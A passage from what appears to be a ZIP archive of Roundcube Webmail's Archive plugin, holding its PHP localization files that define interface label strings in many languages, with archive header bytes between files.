 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archiv';
$labels['buttontitle'] = 'Archivovat zprávu';
$labels['archived'] = 'Vloženo do archivu';
$labels['archivedreload'] = 'Archivováno. Obnovte stránku, abyste uviděli nové složky v archivu.';
$labels['archiveerror'] = 'Některé zprávy nelze archivovat';
$labels['archivefolder'] = 'Archiv';
$labels['settingstitle'] = 'Archiv';
$labels['archivetype'] = 'Rozdělit archiv podle';
$labels['archivetypeyear'] = 'Rok (např.  Archiv/2012)';
$labels['archivetypemonth'] = 'Měsíc (např. Archiv/2012/06)';
$labels['archivetypetbmonth'] = 'Měsíc - kompatibilní s Thunderbird klientem (např. Archiv/2012/2012-06)';
$labels['archivetypefolder'] = 'Původní složka';
$labels['archivetypefolderyear'] = 'Rok a původní složka (např. Archive/2012/...)';
$labels['archivetypefoldermonth'] = 'Rok, měsíc a původní složka (např. Archive/2012/06/...)';
$labels['archivetypesender'] = 'E-mail odesílatele';
$labels['unkownsender'] = 'neznámý';
$labels['readonarchive'] = 'Při archivaci označit zprávu jako přečtenou';
PKh�\>i�JJ&plugins/archive/localization/ta_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['unkownsender'] = 'தெரியாத';
PKh�\L��
GG&plugins/archive/localization/nl_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archief';
$labels['buttontitle'] = 'Archiveer dit bericht';
$labels['archived'] = 'Succesvol gearchiveerd';
$labels['archivedreload'] = 'Succesvol gearchiveerd. Herlaad de pagina om de nieuwe archiefmappen te zien.';
$labels['archiveerror'] = 'Sommige berichten konden niet gearchiveerd worden';
$labels['archivefolder'] = 'Archief';
$labels['settingstitle'] = 'Archief';
$labels['archivetype'] = 'Deel het archief door';
$labels['archivetypeyear'] = 'aar (bijv. Archief/2012)';
$labels['archivetypemonth'] = 'Maand (bijv. Archief/2012/06)';
$labels['archivetypetbmonth'] = 'Maand - compatibel met Thunderbird (bijv. Archief/2012/2012-06)';
$labels['archivetypefolder'] = 'Originele map';
$labels['archivetypefolderyear'] = 'Jaar en de originele map (bijv. Archief/2012/...)';
$labels['archivetypefoldermonth'] = 'Jaar, maand en de oorspronkelijke map (bijv. Archief/2012/06/...)';
$labels['archivetypesender'] = 'E-mail afzender';
$labels['unkownsender'] = 'onbekend';
$labels['readonarchive'] = 'Markeer het bericht als gelezen in het archief';
PKh�\�s�qGG&plugins/archive/localization/hi_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['unkownsender'] = 'अज्ञात';
PKh�\����@@&plugins/archive/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Архів';
$labels['buttontitle'] = 'Архівувати це повідомлення';
$labels['archived'] = 'Перенесено в архів';
$labels['archivedreload'] = 'Успішно заархівовано. Перезавантажте сторінку, щоб побачити нові теки з архівами.';
$labels['archiveerror'] = 'Деякі повідомлення не вдалося заархівувати';
$labels['archivefolder'] = 'Архів';
$labels['settingstitle'] = 'Архів';
$labels['archivetype'] = 'Розділити архів по';
$labels['archivetypeyear'] = 'Рік (наприклад Архів/2012)';
$labels['archivetypemonth'] = 'Місяць (наприклад Архів/2012/06)';
$labels['archivetypefolder'] = 'Оригінальна тека';
$labels['archivetypesender'] = 'Відправник email';
$labels['unkownsender'] = 'невідомо';
$labels['readonarchive'] = 'Позначити повідомлення як прочитане по архіву';
PKh�\�D�33&plugins/archive/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Argyf';
$labels['buttontitle'] = 'Pleats yn argyf';
$labels['archived'] = 'Mei sukses nei argyf ferpleatst';
$labels['archivedreload'] = 'Mei sukses nei argyf ferpleatst. Ferfarskje dizze side om de nije argyf mappen te sjen.';
$labels['archiveerror'] = 'Guon berjochten koenen net ferpleatst wurde nei it argyf';
$labels['archivefolder'] = 'Argyf';
$labels['settingstitle'] = 'Argyf';
$labels['archivetype'] = 'Ferdiel argyf troch';
$labels['archivetypeyear'] = 'Jier (bygelyks Argyf/2012)';
$labels['archivetypemonth'] = 'Moanne (bygelyks Argyf/2012/06)';
$labels['archivetypefolder'] = 'Oarspronklike map';
$labels['archivetypesender'] = 'Stjoerder e-post';
$labels['unkownsender'] = 'ûnbekend';
$labels['readonarchive'] = 'Markearje it berjocht as lêzen op argyf';
PKh�\�H�EYY&plugins/archive/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archiv';
$labels['buttontitle'] = 'Nachricht(en) archivieren';
$labels['archived'] = 'Nachricht(en) erfolgreich archiviert';
$labels['archivedreload'] = 'Nachrichten wurden archiviert. Laden Sie die Seite neu, um die neuen Archivordner zu sehen.';
$labels['archiveerror'] = 'Einige Nachrichten konnten nicht archiviert werden';
$labels['archivefolder'] = 'Archiv';
$labels['settingstitle'] = 'Archiv';
$labels['archivetype'] = 'Erstelle Unterordner nach';
$labels['archivetypeyear'] = 'Jahr (z.B. Archiv/2012)';
$labels['archivetypemonth'] = 'Monat (z.B. Archiv/2012/06)';
$labels['archivetypetbmonth'] = 'Monat - Kompatibel mit Thunderbird (z.B. Archive/2012/2012-06)';
$labels['archivetypefolder'] = 'Originalordner';
$labels['archivetypefolderyear'] = 'Jahr und Originalordner (z.B. Archiv/2012/Yxz)';
$labels['archivetypefoldermonth'] = ' Jahr, Monat und Originalordner (z.B. Archiv/2012/06/Xyz)';
$labels['archivetypesender'] = 'Absender';
$labels['unkownsender'] = 'unbekannt';
$labels['readonarchive'] = 'Nachrichten beim Archivieren als gelesen markieren';
PKh�\숶���'plugins/archive/localization/es_419.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archivar';
$labels['buttontitle'] = 'Archivar este mensaje';
$labels['archived'] = 'Archivado exitosamente';
$labels['archivedreload'] = 'Archivado exitosamente. Recarga esta página para ver las nuevas carpetas';
$labels['archiveerror'] = 'Algunos mensajes no pudieron ser archivados';
$labels['archivefolder'] = 'Archivar';
$labels['settingstitle'] = 'Archivar';
$labels['archivetype'] = 'Dividir archivo por';
$labels['archivetypeyear'] = 'Año (ej. Archivo/2012)';
$labels['archivetypemonth'] = 'Mes (ej. Archivo/2012/06)';
$labels['archivetypefolder'] = 'Carpeta original';
$labels['archivetypesender'] = 'Remitente de correo electrónico';
$labels['unkownsender'] = 'desconocido';
PKh�\�/%hh#plugins/archive/localization/uz.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arxiv';
$labels['buttontitle'] = 'Bu xatni arxivlang';
$labels['archived'] = 'Arxivlandi';
$labels['archivedreload'] = 'Arxivlandi. Yangi arxiv papkalarini ko‘rish uchun sahifani qayta yuklang.';
$labels['archiveerror'] = 'Ba‘zi xatlarni arxivlab bo‘lmaydi.';
$labels['archivefolder'] = 'Arxiv';
$labels['settingstitle'] = 'Arxiv';
$labels['archivetype'] = 'Arxivni ... ga ko‘ra bo\'lish';
$labels['archivetypeyear'] = 'Yil (masalan Arxiv/2012)';
$labels['archivetypemonth'] = 'Oy (masalan Arxiv/2012/06)';
$labels['archivetypetbmonth'] = 'Oy Thunderbirdga moslangan (masalan Arxiv/2012/2012-06)';
$labels['archivetypefolder'] = 'Asl papka';
$labels['archivetypesender'] = 'Jo‘natuvchi elektron manzili';
$labels['unkownsender'] = 'noma’lum';
$labels['readonarchive'] = 'Arxivda xatni o‘qilgan deb belgilang';
PKh�\���V��&plugins/archive/localization/hy_AM.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Արխիվ';
$labels['buttontitle'] = 'Արխիվացնել այս հաղորդագրությունը';
$labels['archived'] = 'Բարեհաջող արխիվացվեց';
$labels['archivedreload'] = 'Բարեհաջող արխիվացվեց: Վերբեռնեք էջը նոր արխիվացված պանակները տեսնելու համար:';
$labels['archiveerror'] = 'Որոշ հաղորդագրություններ հնարավոր չէ արխիվացնել';
$labels['archivefolder'] = 'Արխիվ';
$labels['settingstitle'] = 'Արխիվ';
$labels['archivetype'] = 'Բաժանել արխիվը';
$labels['archivetypeyear'] = 'Տարեթիվ (օր.՝ Արխիվ/2012)';
$labels['archivetypemonth'] = 'Ամսաթիվ (օր.՝ Արխիվ/2012/06)';
$labels['archivetypefolder'] = 'Առաջին պանակը';
$labels['archivetypesender'] = 'Ուղարկողի էլ-փոստը';
$labels['unkownsender'] = 'անհայտ';
PKh�\B���&plugins/archive/localization/en_CA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archive';
$labels['buttontitle'] = 'Archive this message';
$labels['archived'] = 'Successfully archived';
$labels['archivedreload'] = 'Successfully archived. Reload the page to see the new archive folders.';
$labels['archiveerror'] = 'Some messages could not be archived';
$labels['archivefolder'] = 'Archive';
$labels['settingstitle'] = 'Archive';
$labels['archivetype'] = 'Divide archive by';
$labels['archivetypeyear'] = 'Year (e.g. Archive/2012)';
$labels['archivetypemonth'] = 'Month (e.g. Archive/2012/06)';
$labels['archivetypefolder'] = 'Original folder';
$labels['archivetypesender'] = 'Sender email';
$labels['unkownsender'] = 'unknown';
PKh�\e8//&plugins/archive/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = '封存';
$labels['buttontitle'] = '封存此信件';
$labels['archived'] = '成功封存';
$labels['archivedreload'] = '封存動作完成。要重新載入頁面,才能看到新的封存資料夾';
$labels['archiveerror'] = '部分信件無法完成封存';
$labels['archivefolder'] = '封存';
$labels['settingstitle'] = '封存';
$labels['archivetype'] = '封存檔案切割方式:';
$labels['archivetypeyear'] = '年分 (例如: 封存/2012)';
$labels['archivetypemonth'] = '月分 (例如: 封存/2012/06)';
$labels['archivetypetbmonth'] = '月分 - 相容於 Thunderbird (例如: 封存/2012/2012-06)';
$labels['archivetypefolder'] = '原始資料夾';
$labels['archivetypefolderyear'] = '年份與原始資料夾(例如:Archive/2012/...)';
$labels['archivetypefoldermonth'] = '年份、月份與原始資料夾(例如:Archive/2012/06/...)';
$labels['archivetypesender'] = '寄件者電子信箱';
$labels['unkownsender'] = '未知';
$labels['readonarchive'] = '將封存的郵件標示為已讀取';
PKh�\]��;;&plugins/archive/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arxiva';
$labels['buttontitle'] = 'Arxiva aquest missatge';
$labels['archived'] = 'Arxivat correctament';
$labels['archivedreload'] = 'Arxivat correctament. Recarregueu la pàgina per veure les noves carpetes de l\'arxiu.';
$labels['archiveerror'] = 'Alguns missatges no s\'han pogut arxivar';
$labels['archivefolder'] = 'Arxiu';
$labels['settingstitle'] = 'Arxiu';
$labels['archivetype'] = 'Divideix l\'arxiu per';
$labels['archivetypeyear'] = 'Any (p.ex. Arxiu/2012)';
$labels['archivetypemonth'] = 'Mes (p.ex. Arxiu/2012/06)';
$labels['archivetypetbmonth'] = 'Mes - Compatible amb Thunderbird (p.ex. Arxiu/2012/2102-06)';
$labels['archivetypefolder'] = 'Carpeta original';
$labels['archivetypefolderyear'] = 'L\'any i la carpeta original (p.ex. Arxiu/2012/...)';
$labels['archivetypefoldermonth'] = 'L\'any, el mes i la carpeta original (p.ex. Arxiu/2012/06/...)';
$labels['archivetypesender'] = 'Adreça del remitent';
$labels['unkownsender'] = 'desconegut';
$labels['readonarchive'] = 'Marca el missatge com a llegit a l\'arxiu';
PKh�\��
���#plugins/archive/localization/ia.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archivar';
$labels['buttontitle'] = 'Archivar iste message';
$labels['archived'] = 'Archivate con successo';
$labels['archivedreload'] = 'Archivate con successo. Recarga le pagina pro vider le nove dossieres de archivo.';
$labels['archiveerror'] = 'Alcun messages non poteva esser archivate';
$labels['archivefolder'] = 'Archivo';
$labels['settingstitle'] = 'Archivo';
$labels['archivetype'] = 'Divider le archivo per';
$labels['archivetypeyear'] = 'Anno (p.ex. Archivo/2012)';
$labels['archivetypemonth'] = 'Mense (p.ex. Archivo/2012/06)';
$labels['archivetypetbmonth'] = 'Mense - compatibile con Thunderbird (p.ex. Archivo/2012/2012-06)';
$labels['archivetypefolder'] = 'Dossier original';
$labels['archivetypesender'] = 'E-mail del expeditor';
$labels['unkownsender'] = 'incognite';
$labels['readonarchive'] = 'Marcar le message como legite in le archivo';
PKh�\/(=���&plugins/archive/localization/bs_BA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arhiva';
$labels['buttontitle'] = 'Arhiviraj ovu poruku';
$labels['archived'] = 'Arhiviranje uspješno';
$labels['archivedreload'] = 'Uspješno arhivirano. Ponovo učitajte stranicu da biste vidjeli nove foldere za arhiviranje.';
$labels['archiveerror'] = 'Neke poruke nisu mogle biti arhivirane';
$labels['archivefolder'] = 'Arhiva';
$labels['settingstitle'] = 'Arhiva';
$labels['archivetype'] = 'Podijeli arhivu po';
$labels['archivetypeyear'] = 'Godinama (npr. Arhiva/2012)';
$labels['archivetypemonth'] = 'Mjesecima (npr Arhiva/2012/06)';
$labels['archivetypefolder'] = 'Originalni folder';
$labels['archivetypesender'] = 'Email pošiljaoca';
$labels['unkownsender'] = 'nepoznato';
PKh�\��#��&plugins/archive/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Архив';
$labels['buttontitle'] = 'Переместить выбранное в архив';
$labels['archived'] = 'Перенесено в Архив';
$labels['archivedreload'] = 'Успешно заархивировано. Обновите страницу, чтобы увидеть новые папки архива.';
$labels['archiveerror'] = 'Некоторые сообщения не могут быть заархивированы';
$labels['archivefolder'] = 'Архив';
$labels['settingstitle'] = 'Архив';
$labels['archivetype'] = 'Разделить архив по';
$labels['archivetypeyear'] = 'Год (например, Архив/2012)';
$labels['archivetypemonth'] = 'Месяц (например, Архив/2012/06)';
$labels['archivetypetbmonth'] = 'Месяц - совместимо с Thunderbird (например, Архив/2012/2012-06)';
$labels['archivetypefolder'] = 'Исходная папка';
$labels['archivetypefolderyear'] = 'Год и исходная папка (например, Архив/2012/...)';
$labels['archivetypefoldermonth'] = 'Год, месяц и исходная папка (например, Архив/2012/06/...)';
$labels['archivetypesender'] = 'Адрес отправителя';
$labels['unkownsender'] = 'неизвестно';
$labels['readonarchive'] = 'Помечать как прочитанное при архивировании';
PKh�\�蹼��&plugins/archive/localization/fa_IR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'بایگانی';
$labels['buttontitle'] = 'بایگانی این پیغام';
$labels['archived'] = 'با موفقیت بایگانی شد';
$labels['archivedreload'] = 'با کام‌یابی بایگانی شد. برای دیدن پوشه‌های بایگانی جدید صفحه را مجددا بارگذاری نمایید.';
$labels['archiveerror'] = 'برخی از پیام‌ها بایگانی نشدند.';
$labels['archivefolder'] = 'بایگانی';
$labels['settingstitle'] = 'بایگانی';
$labels['archivetype'] = 'تقسیم بایگانی با';
$labels['archivetypeyear'] = 'سال (به عنوان مثال بایگانی/۲۰۱۲)';
$labels['archivetypemonth'] = 'ماه (به عنوان مثال بایگانی/۲۰۱۲/۰۶)';
$labels['archivetypefolder'] = 'پوشه اصلی';
$labels['archivetypesender'] = 'رایانامه فرستنده';
$labels['unkownsender'] = 'ناشناخته';
PKh�\��*W��&plugins/archive/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Geymsla';
$labels['buttontitle'] = 'Setja þessi skilaboð í safngeymslu';
$labels['archived'] = 'Tókst að setja í geymslu';
$labels['archivedreload'] = 'Tókst að setja í geymslu. Endurlestu síðuna til að sjá nýju geymslumöppurnar.';
$labels['archiveerror'] = 'Ekki var hægt að setja öll skilaboð í safngeymslu';
$labels['archivefolder'] = 'Geymsla';
$labels['settingstitle'] = 'Geymsla';
$labels['archivetype'] = 'Skipta geymslu upp eftir';
$labels['archivetypeyear'] = 'ári (t.d. Geymsla/2012)';
$labels['archivetypemonth'] = 'mánuði (t.d. Geymsla/2012/06)';
$labels['archivetypetbmonth'] = 'mánuði - samhæft við Thunderbird (t.d. Geymsla/2012/2012-06)';
$labels['archivetypefolder'] = 'Upprunaleg mappa';
$labels['archivetypefolderyear'] = 'Ár og upprunaleg mappa (t.d. Geymsla/2012/...)';
$labels['archivetypefoldermonth'] = 'Ár, mánuður og upprunaleg mappa (t.d. Geymsla/2012/06/...)';
$labels['archivetypesender'] = 'Tölvupóstfang sendanda';
$labels['unkownsender'] = 'óþekkt';
$labels['readonarchive'] = 'Merkja skilaboð sem lesin þegar þau eru lesin í safni';
PKh�\�Ғ::&plugins/archive/localization/vi_VN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Lưu trữ';
$labels['buttontitle'] = 'Lưu lại bức thư này';
$labels['archived'] = 'Lưu lại thành công';
$labels['archivedreload'] = 'Đã lưu thành công. Tải lại trang này để thấy các thư mục lưu trữ mới.';
$labels['archiveerror'] = 'Một số thư không thể lưu lại được';
$labels['archivefolder'] = 'Lưu trữ';
$labels['settingstitle'] = 'Lưu trữ';
$labels['archivetype'] = 'Chia bộ lưu trữ bởi';
$labels['archivetypeyear'] = 'Năm (ví dụ: Lưu trữ/2012)';
$labels['archivetypemonth'] = 'Tháng (ví dụ: Lưu trữ/2012/06)';
$labels['archivetypefolder'] = 'Thư mục nguyên gốc';
$labels['archivetypesender'] = 'Địa chỉ thư điện tử của người gửi';
$labels['unkownsender'] = 'Không rõ';
PKh�\@�P�JJ&plugins/archive/localization/th_TH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['unkownsender'] = 'ไม่ทราบ';
PKh�\�	/���&plugins/archive/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'الأرشيف';
$labels['buttontitle'] = 'أرشفة هذه الرسالة';
$labels['archived'] = 'أُرشفت بنجاح';
$labels['archivedreload'] = 'تمت أرشفته بنجاح. أعد تحميل الصفحة لمشاهدة مجلدات الأرشيف الجديدة.';
$labels['archiveerror'] = 'لا يمكن أرشفة بعض الرسائل';
$labels['archivefolder'] = 'الأرشيف';
$labels['settingstitle'] = 'الأرشيف';
$labels['archivetype'] = 'تقسيم الأرشيف ب';
$labels['archivetypeyear'] = 'السنة (على سبيل المثال. الأرشيف / 2012)';
$labels['archivetypemonth'] = 'الشهر (على سبيل المثال. الأرشيف / 2012 / 06)';
$labels['archivetypetbmonth'] = 'الشهر - متوافق مع Thunderbird (على سبيل المثال أرشيف / 2012 / 2012-06)';
$labels['archivetypefolder'] = 'المجلد الاصلي';
$labels['archivetypefolderyear'] = 'السنة والمجلد الأصلي (على سبيل المثال. الأرشيف / 2012 / ...)';
$labels['archivetypefoldermonth'] = 'السنة والشهر والمجلد الأصلي (على سبيل المثال. الأرشيف / 2012 / 06 / ...)';
$labels['archivetypesender'] = 'البريد المرسل';
$labels['unkownsender'] = 'مجهول';
$labels['readonarchive'] = 'ضع علامة على الرسالة كمقروءة في الأرشيف';
PKh�\���DD&plugins/archive/localization/ms_MY.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['unkownsender'] = 'tidak diketahui';
PKh�\2%����&plugins/archive/localization/az_AZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arxiv';
$labels['buttontitle'] = 'Mesajı arxivə göndər';
$labels['archived'] = 'Arxivə göndərildi';
$labels['archivedreload'] = 'Müvəffəqiyyətlə arxivləşdirildi. Yeni arxiv qovluqlarını görmək üçün səhifəni yeniləyin.';
$labels['archiveerror'] = 'Bəzi məktublar arxivləşdirilə bilinmirlər';
$labels['archivefolder'] = 'Arxiv';
$labels['settingstitle'] = 'Arxiv';
$labels['archivetype'] = 'Arxivi böl: ';
$labels['archivetypeyear'] = 'İl (məs. Arxiv/2012)';
$labels['archivetypemonth'] = 'Ay (məs. Arxiv/2012/06)';
$labels['archivetypefolder'] = 'Orijinal qovluq';
$labels['archivetypesender'] = 'Göndərənin E-Poçtu';
$labels['unkownsender'] = 'naməlum';
PKh�\2��^^&plugins/archive/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arsip';
$labels['buttontitle'] = 'Arsipkan pesan ini';
$labels['archived'] = 'Berhasil mengarsipkan';
$labels['archivedreload'] = 'Berhasil diarsipkan. Reload halaman untuk melihat folder arsip baru.';
$labels['archiveerror'] = 'Beberapa pesan tidak dapat diarsipkan';
$labels['archivefolder'] = 'Arsip';
$labels['settingstitle'] = 'Arsip';
$labels['archivetype'] = 'Pisah arsip berdasarkan';
$labels['archivetypeyear'] = 'Tahun (contoh: Arsip/2012)';
$labels['archivetypemonth'] = 'Bulan (contoh: Arsip/2012/06)';
$labels['archivetypetbmonth'] = 'Bulan - Kecocokan Thunderbird ( contoh: Arsip/2012/2012-06 )';
